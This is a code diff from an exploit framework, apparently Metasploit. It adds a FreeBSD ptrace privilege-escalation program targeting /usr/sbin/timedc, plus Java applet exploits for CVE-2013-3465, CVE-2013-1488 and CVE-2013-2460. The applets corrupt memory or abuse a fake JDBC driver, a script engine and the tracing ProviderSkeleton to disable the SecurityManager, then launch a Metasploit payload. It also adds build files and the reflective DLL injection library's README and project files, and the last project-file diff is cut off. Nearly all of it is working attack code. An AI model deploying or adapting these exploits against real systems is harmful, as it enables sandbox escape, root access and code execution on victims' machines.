#include <sys/ptrace.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#define TG "/usr/sbin/timedc"
|
||||
|
||||
/*
|
||||
This is based on Hunger's PoC
|
||||
*/
|
||||
int main(int ac, char **av) {
|
||||
int from_fd, to_fd, status;
|
||||
struct stat st;
|
||||
struct ptrace_io_desc piod;
|
||||
char *s, *d;
|
||||
int pid;
|
||||
char *bin = "MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"; // is just a place holder
|
||||
|
||||
if (geteuid() == 0) {
|
||||
setuid(0);
|
||||
execl(bin, bin, NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
from_fd = open(av[0], O_RDONLY);
|
||||
to_fd = open(TG, O_RDONLY);
|
||||
if ( from_fd == -1 || to_fd == -1 ) return 0;
|
||||
if (stat(av[0], &st) == -1) return 0;
|
||||
|
||||
s = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED, from_fd, (off_t)0);
|
||||
d = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0);
|
||||
|
||||
if (s == MAP_FAILED || d == MAP_FAILED) return 0;
|
||||
if ((pid = fork()) == -1) return 0;
|
||||
if (!pid) {
|
||||
if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1) return 0;
|
||||
}
|
||||
|
||||
if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) return 0;
|
||||
if (wait(&status) == -1) return 0;
|
||||
|
||||
piod.piod_op = PIOD_WRITE_D;
|
||||
piod.piod_offs = d;
|
||||
piod.piod_addr = s;
|
||||
piod.piod_len = st.st_size;
|
||||
|
||||
if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1) return 0;
|
||||
execl(TG, TG, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
||||
+197
@@ -0,0 +1,197 @@
|
||||
import java.awt.image.*;
|
||||
import java.awt.color.*;
|
||||
import java.beans.Statement;
|
||||
import java.security.*;
|
||||
import metasploit.Payload;
|
||||
import java.applet.Applet;
|
||||
|
||||
public class Exploit extends Applet {
|
||||
|
||||
public void init() {
|
||||
|
||||
try {
|
||||
|
||||
// try several attempts to exploit
|
||||
for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){
|
||||
//System.out.println("Attempt #" + i);
|
||||
tryExpl();
|
||||
}
|
||||
|
||||
// check results
|
||||
if (System.getSecurityManager() == null) {
|
||||
// execute payload
|
||||
//Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");
|
||||
Payload.main(null);
|
||||
}
|
||||
|
||||
} catch (Exception ex) {
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static String toHex(int i)
|
||||
{
|
||||
return Integer.toHexString(i);
|
||||
}
|
||||
|
||||
private boolean _is64 = System.getProperty("os.arch","").contains("64");
|
||||
|
||||
// we will need ColorSpace which returns 1 from getNumComponents()
|
||||
class MyColorSpace extends ICC_ColorSpace
|
||||
{
|
||||
public MyColorSpace()
|
||||
{
|
||||
super(ICC_Profile.getInstance(ColorSpace.CS_sRGB));
|
||||
}
|
||||
|
||||
// override getNumComponents
|
||||
public int getNumComponents()
|
||||
{
|
||||
int res = 1;
|
||||
return res;
|
||||
}
|
||||
}
|
||||
|
||||
// we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true.
|
||||
class MyColorModel extends ComponentColorModel
|
||||
{
|
||||
public MyColorModel()
|
||||
{
|
||||
super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE);
|
||||
}
|
||||
|
||||
// override isCompatibleRaster
|
||||
public boolean isCompatibleRaster(Raster r)
|
||||
{
|
||||
boolean res = true;
|
||||
return res;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private int tryExpl()
|
||||
{
|
||||
try {
|
||||
// alloc aux vars
|
||||
String name = "setSecurityManager";
|
||||
Object[] o1 = new Object[1];
|
||||
Object o2 = new Statement(System.class, name, o1); // make a dummy call for init
|
||||
|
||||
// allocate byte buffer for destination Raster.
|
||||
DataBufferByte dst = new DataBufferByte(16);
|
||||
|
||||
// allocate the target array right after dst
|
||||
int[] a = new int[8];
|
||||
// allocate an object array right after a[]
|
||||
Object[] oo = new Object[7];
|
||||
|
||||
// create Statement with the restricted AccessControlContext
|
||||
oo[2] = new Statement(System.class, name, o1);
|
||||
|
||||
// create powerful AccessControlContext
|
||||
Permissions ps = new Permissions();
|
||||
ps.add(new AllPermission());
|
||||
oo[3] = new AccessControlContext(
|
||||
new ProtectionDomain[]{
|
||||
new ProtectionDomain(
|
||||
new CodeSource(
|
||||
new java.net.URL("file:///"),
|
||||
new java.security.cert.Certificate[0]
|
||||
),
|
||||
ps
|
||||
)
|
||||
}
|
||||
);
|
||||
|
||||
// store System.class pointer in oo[]
|
||||
oo[4] = ((Statement)oo[2]).getTarget();
|
||||
|
||||
// save old a.length
|
||||
int oldLen = a.length;
|
||||
//System.out.println("a.length = 0x" + toHex(oldLen));
|
||||
|
||||
// create regular source image
|
||||
BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB);
|
||||
|
||||
// prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length
|
||||
MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0));
|
||||
// create malformed destination image based on dst[] data
|
||||
WritableRaster wr = Raster.createWritableRaster(sm, dst, null);
|
||||
BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null);
|
||||
|
||||
// prepare first pixel which will overwrite a.length
|
||||
bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1});
|
||||
|
||||
// call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c)
|
||||
AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null);
|
||||
op.filter(bi1, bi2);
|
||||
|
||||
// check results: a.length should be overwritten by 0xFFFFFFFF
|
||||
int len = a.length;
|
||||
//System.out.println("a.length = 0x" + toHex(len));
|
||||
if (len == oldLen) {
|
||||
// check a[] content corruption // for RnD
|
||||
for(int i=0; i < len; i++) {
|
||||
if (a[i] != 0) {
|
||||
//System.out.println("a["+i+"] = 0x" + toHex(a[i]));
|
||||
}
|
||||
}
|
||||
// exit
|
||||
//System.out.println("error 1");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// ok, now we can read/write outside the real a[] storage,
|
||||
// lets find our Statement object and replace its private "acc" field value
|
||||
|
||||
// search for oo[] after a[oldLen]
|
||||
boolean found = false;
|
||||
int ooLen = oo.length;
|
||||
for(int i=oldLen+2; i < oldLen+32; i++)
|
||||
if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
|
||||
&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null
|
||||
&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null
|
||||
{
|
||||
// read pointer from oo[4]
|
||||
int stmTrg = a[i+4];
|
||||
// search for the Statement.target field behind oo[]
|
||||
for(int j=i+7; j < i+7+64; j++){
|
||||
if (a[j] == stmTrg) {
|
||||
// overwrite default Statement.acc by oo[3] ("AllPermission")
|
||||
a[j-1] = a[i+3];
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (found) break;
|
||||
}
|
||||
|
||||
// check results
|
||||
if (!found) {
|
||||
// print the memory dump on error // for RnD
|
||||
String s = "a["+oldLen+"...] = ";
|
||||
for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ",";
|
||||
//System.out.println(s);
|
||||
} else try {
|
||||
|
||||
// call System.setSecurityManager(null)
|
||||
((Statement)oo[2]).execute();
|
||||
|
||||
// show results: SecurityManager should be null
|
||||
} catch (Exception ex) {
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
|
||||
//System.out.println(System.getSecurityManager() == null ? "Ok.":"Fail.");
|
||||
|
||||
} catch (Exception ex) {
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
CLASSES = Exploit.java
|
||||
|
||||
.SUFFIXES: .java .class
|
||||
.java.class:
|
||||
javac -source 1.2 -target 1.2 -cp "../../../../data/java" Exploit.java
|
||||
|
||||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
mv *.class ../../../../data/exploits/CVE-2013-3465/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
||||
|
||||
+41
@@ -0,0 +1,41 @@
|
||||
import java.applet.Applet;
|
||||
import java.awt.Graphics;
|
||||
import java.sql.*;
|
||||
//import java.lang.Runtime;
|
||||
import metasploit.Payload;
|
||||
|
||||
public class Exploit extends Applet
|
||||
{
|
||||
|
||||
public Exploit()
|
||||
{
|
||||
}
|
||||
|
||||
public void init()
|
||||
{
|
||||
try
|
||||
{
|
||||
System.out.println("Here we go...");
|
||||
String url = "jdbc:msf:sql://127.0.0.1:8080/sample";
|
||||
String userid = "userid";
|
||||
String password = "password";
|
||||
Connection con = DriverManager.getConnection(url, userid, password);
|
||||
}
|
||||
catch(Exception localThrowable)
|
||||
{
|
||||
//localThrowable.printStackTrace();
|
||||
}
|
||||
try {
|
||||
Payload.main(null);
|
||||
//Runtime.getRuntime().exec("calc.exe");
|
||||
|
||||
} catch(Exception ex) {
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public void paint(Graphics paramGraphics)
|
||||
{
|
||||
paramGraphics.drawString("Loading", 50, 25);
|
||||
}
|
||||
}
|
||||
+65
@@ -0,0 +1,65 @@
|
||||
import java.sql.*;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.Properties;
|
||||
import java.util.AbstractSet;
|
||||
import java.util.ServiceLoader;
|
||||
import java.util.Iterator;
|
||||
|
||||
|
||||
public class FakeDriver extends AbstractSet implements java.sql.Driver
|
||||
{
|
||||
public static final String URL_PREFIX = "jdbc:msf:sql:";
|
||||
public static ServiceLoader _s1;
|
||||
|
||||
static {
|
||||
_s1 = ServiceLoader.load(Object.class);
|
||||
}
|
||||
|
||||
public Iterator iterator()
|
||||
{
|
||||
return _s1.iterator();
|
||||
}
|
||||
|
||||
public FakeDriver() {
|
||||
}
|
||||
|
||||
public final boolean acceptsURL(String url)
|
||||
throws SQLException
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
public final boolean jdbcCompliant() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public final Logger getParentLogger() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public final int getMinorVersion() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public final int getMajorVersion() {
|
||||
return 1;
|
||||
}
|
||||
|
||||
public final DriverPropertyInfo[] getPropertyInfo(String url, Properties info)
|
||||
throws SQLException
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
public final Connection connect(String url, Properties info)
|
||||
throws SQLException
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
//AbstractSet
|
||||
public final int size() {
|
||||
return 2;
|
||||
}
|
||||
}
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
import java.sql.*;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.Properties;
|
||||
import java.util.HashSet;
|
||||
import java.util.Iterator;
|
||||
import javax.script.*;
|
||||
import java.io.*;
|
||||
import java.lang.*;
|
||||
|
||||
public class FakeDriver2 extends HashSet implements java.sql.Driver
|
||||
{
|
||||
public static final String URL_PREFIX = "jdbc:msf:sql:";
|
||||
|
||||
static {
|
||||
|
||||
}
|
||||
|
||||
public FakeDriver2() {
|
||||
Iterator i = FakeDriver._s1.iterator();
|
||||
try {
|
||||
ScriptEngine e = (ScriptEngine)i.next();
|
||||
Object proxy = (Object) e.eval(
|
||||
"this.toString = function() {" +
|
||||
" java.lang.System.setSecurityManager(null);" +
|
||||
" return '';" +
|
||||
"};" +
|
||||
"e = new Error();" +
|
||||
"e.message = this;" +
|
||||
"e");
|
||||
this.add(proxy);
|
||||
} catch (Exception ex) {
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public final boolean acceptsURL(String url)
|
||||
throws SQLException
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
public final boolean jdbcCompliant() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public final Logger getParentLogger() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public final int getMinorVersion() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public final int getMajorVersion() {
|
||||
return 1;
|
||||
}
|
||||
|
||||
public final DriverPropertyInfo[] getPropertyInfo(String url, Properties info)
|
||||
throws SQLException
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
public final Connection connect(String url, Properties info)
|
||||
throws SQLException
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
+1
@@ -0,0 +1 @@
|
||||
com.sun.script.javascript.RhinoScriptEngine
|
||||
+2
@@ -0,0 +1,2 @@
|
||||
FakeDriver
|
||||
FakeDriver2
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
CLASSES = \
|
||||
Exploit.java \
|
||||
FakeDriver.java \
|
||||
FakeDriver2.java
|
||||
|
||||
.SUFFIXES: .java .class
|
||||
.java.class:
|
||||
javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java
|
||||
|
||||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
mv Exploit.class ../../../../data/exploits/cve-2013-1488/
|
||||
mv FakeDriver.class ../../../../data/exploits/cve-2013-1488/
|
||||
mv FakeDriver2.class ../../../../data/exploits/cve-2013-1488/
|
||||
cp -r META-INF ../../../../data/exploits/cve-2013-1488/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
||||
@@ -0,0 +1,28 @@
|
||||
import java.security.AccessController;
|
||||
import java.security.PrivilegedActionException;
|
||||
import java.security.PrivilegedExceptionAction;
|
||||
|
||||
/**
|
||||
* Class for disabling the SecurityManager.
|
||||
* Based on POC of Security Explorations' Issue 61.
|
||||
* @author mk
|
||||
*
|
||||
*/
|
||||
public class DisableSecurityManagerAction implements PrivilegedExceptionAction {
|
||||
|
||||
public DisableSecurityManagerAction() {
|
||||
try {
|
||||
AccessController.doPrivileged(this);
|
||||
} catch (PrivilegedActionException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public Object run() throws Exception {
|
||||
System.setSecurityManager(null);
|
||||
return new Object();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
import com.sun.tracing.Provider;
|
||||
|
||||
/**
|
||||
* Empty interface to get an Provider instance.
|
||||
* Based on POC of Security Explorations' Issue 61.
|
||||
* @author mk
|
||||
*
|
||||
*/
|
||||
|
||||
public interface ExpProvider extends Provider {
|
||||
|
||||
}
|
||||
+118
@@ -0,0 +1,118 @@
|
||||
import java.applet.Applet;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.lang.invoke.MethodHandle;
|
||||
import java.lang.invoke.MethodHandles;
|
||||
import java.lang.invoke.MethodType;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Proxy;
|
||||
|
||||
import metasploit.Payload;
|
||||
|
||||
import com.sun.tracing.Provider;
|
||||
import com.sun.tracing.ProviderFactory;
|
||||
|
||||
/**
|
||||
* Class exploiting the vulnerability in the ProviderSkeleton class. Based on
|
||||
* POC of Security Explorations' Issue 61.
|
||||
*
|
||||
* @author mk
|
||||
*
|
||||
*/
|
||||
|
||||
public class Exploit extends Applet {
|
||||
|
||||
InvocationHandler invoc = null;
|
||||
MethodHandles.Lookup look;
|
||||
|
||||
public Exploit() {
|
||||
try {
|
||||
|
||||
ByteArrayOutputStream classInputStream = new ByteArrayOutputStream();
|
||||
byte[] classBuffer = new byte[8192];
|
||||
int classLength;
|
||||
|
||||
InputStream inputStream = getClass().getResourceAsStream(
|
||||
"DisableSecurityManagerAction.class");
|
||||
|
||||
while ((classLength = inputStream.read(classBuffer)) > 0)
|
||||
classInputStream.write(classBuffer, 0, classLength);
|
||||
|
||||
classBuffer = classInputStream.toByteArray();
|
||||
|
||||
ProviderFactory fac = ProviderFactory.getDefaultFactory();
|
||||
Provider p = fac.createProvider(ExpProvider.class);
|
||||
invoc = Proxy.getInvocationHandler(p);
|
||||
Class handle = java.lang.invoke.MethodHandles.class;
|
||||
|
||||
Method m = handle.getMethod("lookup", new Class[0]);
|
||||
look = (MethodHandles.Lookup) invoc.invoke(null, m, new Object[0]);
|
||||
|
||||
Class context = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.Context");
|
||||
Class defClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.DefiningClassLoader");
|
||||
Class genClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
|
||||
|
||||
MethodHandle enterMethod = getMethod(context, "enter", context,
|
||||
new Class[0], true);
|
||||
|
||||
Class argTypes[] = new Class[1];
|
||||
argTypes[0] = ClassLoader.class;
|
||||
|
||||
MethodHandle createClassLoader = getMethod(context,
|
||||
"createClassLoader", genClassLoader, argTypes, false);
|
||||
|
||||
argTypes = new Class[2];
|
||||
argTypes[0] = Class.forName("java.lang.String");
|
||||
argTypes[1] = (new byte[0]).getClass();
|
||||
|
||||
MethodHandle defineClass = getMethod(defClassLoader, "defineClass",
|
||||
java.lang.Class.class, argTypes, false);
|
||||
|
||||
Object enterContext = enterMethod.invoke();
|
||||
Object cLoader = createClassLoader.invoke(enterContext, null);
|
||||
Class disabler = (Class) defineClass.invoke(cLoader,
|
||||
"DisableSecurityManagerAction", classBuffer);
|
||||
disabler.newInstance();
|
||||
Payload.main(null);
|
||||
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private Class loadClassUnderPrivContext(String className) throws Throwable {
|
||||
Class ret = null;
|
||||
|
||||
Class theClass = java.lang.Class.class;
|
||||
|
||||
Class argTypes[] = new Class[1];
|
||||
argTypes[0] = String.class;
|
||||
|
||||
Method m = theClass.getMethod("forName", argTypes);
|
||||
|
||||
Object argObjects[] = new Object[1];
|
||||
argObjects[0] = className;
|
||||
|
||||
ret = (Class) invoc.invoke(null, m, argObjects);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
private MethodHandle getMethod(Class c, String methodName,
|
||||
Class returnType, Class argTypes[], boolean isStaticMethod)
|
||||
throws NoSuchMethodException, IllegalAccessException {
|
||||
MethodHandle ret = null;
|
||||
|
||||
MethodType methodType = MethodType.methodType(returnType, argTypes);
|
||||
|
||||
if (isStaticMethod)
|
||||
ret = look.findStatic(c, methodName, methodType);
|
||||
else
|
||||
ret = look.findVirtual(c, methodName, methodType);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
CLASSES = \
|
||||
ExpProvider.class \
|
||||
DisableSecurityManagerAction.class \
|
||||
Exploit.class
|
||||
|
||||
.SUFFIXES: .java .class
|
||||
.java.class:
|
||||
javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java
|
||||
|
||||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
mv ExpProvider.class ../../../../data/exploits/cve-2013-2460/
|
||||
mv DisableSecurityManagerAction.class ../../../../data/exploits/cve-2013-2460/
|
||||
mv Exploit.class ../../../../data/exploits/cve-2013-2460/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
||||
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of
|
||||
conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
with the distribution.
|
||||
|
||||
* Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGE.
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
About
|
||||
=====
|
||||
|
||||
Reflective DLL injection is a library injection technique in which the concept
|
||||
of reflective programming is employed to perform the loading of a library from
|
||||
memory into a host process. As such the library is responsible for loading
|
||||
itself by implementing a minimal Portable Executable (PE) file loader. It can
|
||||
then govern, with minimal interaction with the host system and process, how it
|
||||
will load and interact with the host.
|
||||
|
||||
Injection works from Windows NT4 up to and including Windows 8, running on x86,
|
||||
x64 and ARM where applicable.
|
||||
|
||||
Overview
|
||||
========
|
||||
|
||||
The process of remotely injecting a library into a process is two fold. Firstly,
|
||||
the library you wish to inject must be written into the address space of the
|
||||
target process (Herein referred to as the host process). Secondly the library
|
||||
must be loaded into that host process in such a way that the library's run time
|
||||
expectations are met, such as resolving its imports or relocating it to a
|
||||
suitable location in memory.
|
||||
|
||||
Assuming we have code execution in the host process and the library we wish to
|
||||
inject has been written into an arbitrary location of memory in the host
|
||||
process, Reflective DLL Injection works as follows.
|
||||
|
||||
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap
|
||||
shellcode, to the library's ReflectiveLoader function which is an exported
|
||||
function found in the library's export table.
|
||||
* As the library's image will currently exists in an arbitrary location in
|
||||
memory the ReflectiveLoader will first calculate its own image's current
|
||||
location in memory so as to be able to parse its own headers for use later on.
|
||||
* The ReflectiveLoader will then parse the host processes kernel32.dll export
|
||||
table in order to calculate the addresses of three functions required by the
|
||||
loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
|
||||
* The ReflectiveLoader will now allocate a continuous region of memory into
|
||||
which it will proceed to load its own image. The location is not important as
|
||||
the loader will correctly relocate the image later on.
|
||||
The library's headers and sections are loaded into their new locations in
|
||||
memory.
|
||||
* The ReflectiveLoader will then process the newly loaded copy of its image's
|
||||
import table, loading any additional library's and resolving their respective
|
||||
imported function addresses.
|
||||
* The ReflectiveLoader will then process the newly loaded copy of its image's
|
||||
relocation table.
|
||||
* The ReflectiveLoader will then call its newly loaded image's entry point
|
||||
function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully
|
||||
loaded into memory.
|
||||
* Finally the ReflectiveLoader will return execution to the initial bootstrap
|
||||
shellcode which called it, or if it was called via CreateRemoteThread, the
|
||||
thread will terminate.
|
||||
|
||||
Build
|
||||
=====
|
||||
|
||||
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release
|
||||
mode to make inject.exe and reflective_dll.dll
|
||||
|
||||
Usage
|
||||
=====
|
||||
|
||||
To test use the inject.exe to inject reflective_dll.dll into a host process via
|
||||
a process id, e.g.:
|
||||
|
||||
> inject.exe 1234
|
||||
|
||||
License
|
||||
=======
|
||||
|
||||
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 10.00
|
||||
# Visual C++ Express 2008
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Vendored
Regular → Executable
+93
-117
@@ -2,9 +2,9 @@
|
||||
<VisualStudioProject
|
||||
ProjectType="Visual C++"
|
||||
Version="9.00"
|
||||
Name="screenshot"
|
||||
ProjectGUID="{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}"
|
||||
RootNamespace="screenshot"
|
||||
Name="reflective_dll"
|
||||
ProjectGUID="{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||
RootNamespace="reflective_dll"
|
||||
Keyword="Win32Proj"
|
||||
TargetFrameworkVersion="196613"
|
||||
>
|
||||
@@ -44,7 +44,7 @@
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS"
|
||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
@@ -90,96 +90,6 @@
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="0"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="1"
|
||||
InlineFunctionExpansion="1"
|
||||
EnableIntrinsicFunctions="false"
|
||||
FavorSizeOrSpeed="2"
|
||||
AdditionalIncludeDirectories=""..\..\source\jpeg-8""
|
||||
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS;_CRT_SECURE_NO_WARNINGS"
|
||||
StringPooling="true"
|
||||
RuntimeLibrary="0"
|
||||
EnableFunctionLevelLinking="true"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
CallingConvention="0"
|
||||
CompileAs="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalDependencies="jpeg.lib"
|
||||
OutputFile=".\release\screenshot.dll"
|
||||
LinkIncremental="1"
|
||||
AdditionalLibraryDirectories=""..\..\source\jpeg-8\lib\win\x86""
|
||||
GenerateManifest="false"
|
||||
ManifestFile=""
|
||||
GenerateDebugInformation="false"
|
||||
SubSystem="2"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
RandomizedBaseAddress="2"
|
||||
FixedBaseAddress="1"
|
||||
DataExecutionPrevention="2"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
EmbedManifest="false"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
